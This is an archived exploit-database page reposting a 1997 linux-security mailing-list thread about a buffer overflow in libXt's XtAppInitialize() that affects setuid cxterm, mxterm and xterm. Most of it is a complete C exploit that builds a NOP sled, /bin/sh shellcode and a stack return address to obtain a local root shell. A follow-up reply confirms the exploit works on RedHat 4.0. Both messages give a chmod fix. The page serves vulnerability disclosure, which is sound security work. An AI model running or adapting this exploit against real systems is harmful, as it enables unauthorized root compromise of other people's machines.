LibXt XtAppInitialize() overflow *xterm exploit.
Description: | overflow in libXt from XFree86 allows exploitation of suid *xterm s. |
Author: | Ming Zhang <mzhang@softcom.net> useful info also contributed by Marcin Bohosiewicz <marcus@venus.wis.pk.edu.pl> |
Compromise: | root (local) |
Vulnerable Systems: | Systems running XFree86-3.2-9, probably lower who have suid cxterm, mxterm, xterm, etc. Includes RedHat 4.0, Slackware 3.1 and 3.2 |
Date: | 14 May 1997 |
Notes: | I have appended useful info from Marcin Bohosiewicz <marcus@venus.wis.pk.edu.pl> |
Date: Wed, 14 May 1997 09:30:19 -0700
From: Ming Zhang <mzhang@softcom.net>
To: linux-security@redhat.com
Subject: [linux-security] cxterm buffer overrun
cxterm is a Chinese terminal emulator for the X Window System.
It's installed as suid-root by default if you did a make install.
Just like xterm, it does needs to be suid to update
/etc/utmp...blahblah...
I discovered some buffer overflow bugs in it. The code
attached below is the exploit.
Quick fix? chmod -s /path/cxterm
==========================================================================
/*
cxterm buffer overflow exploit for Linux. This code is tested on
both Slackware 3.1 and 3.2.
Ming Zhang
mzhang@softcom.net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
/* use a different offset if you find this program doesn't do the job */
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("Buy more RAM!\n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,
"This bug is discovered by Ming Zhang
(mzhang@softcom.net)\n");
/* Don't need to set ur DISPLAY to exploit this one, cool huh? */
execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}
===================================================================================
Date: Thu, 15 May 1997 10:41:53 +0200 (MET DST)
From: Marcin Bohosiewicz <marcus@venus.wis.pk.edu.pl>
To: linux-security@redhat.com
Subject: [linux-security] Re: cxterm buffer overrun
On Wed, 14 May 1997, Ming Zhang wrote:
> cxterm is a Chinese terminal emulator for the X Window System.
> It's installed as suid-root by default if you did a make install.
> Just like xterm, it does needs to be suid to update
> /etc/utmp...blahblah...
[exploit was here]
This bug are also in mxterm-2.0-2 (Motiff Xterm) and xterm from
XFree86-3.2-9.
I tested exploit on RedHat 4.0 with libXt from XFree86-libs-3.2-9
and it works (bash#)
Probably this bug is in function XtAppInitialize() in libXt
Temp. fix: chmod -s /Xpath/bin/*xterm
M.
-| == Marcin Bohosiewicz marcus@venus.wis.pk.edu.pl == |-
-| == tel. +048 (0-12) 37-44-99 marcus@krakow.linux.org.pl == |-
-| == Strona Domowa - http://venus.wis.pk.edu.pl/marcus/ == |-
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: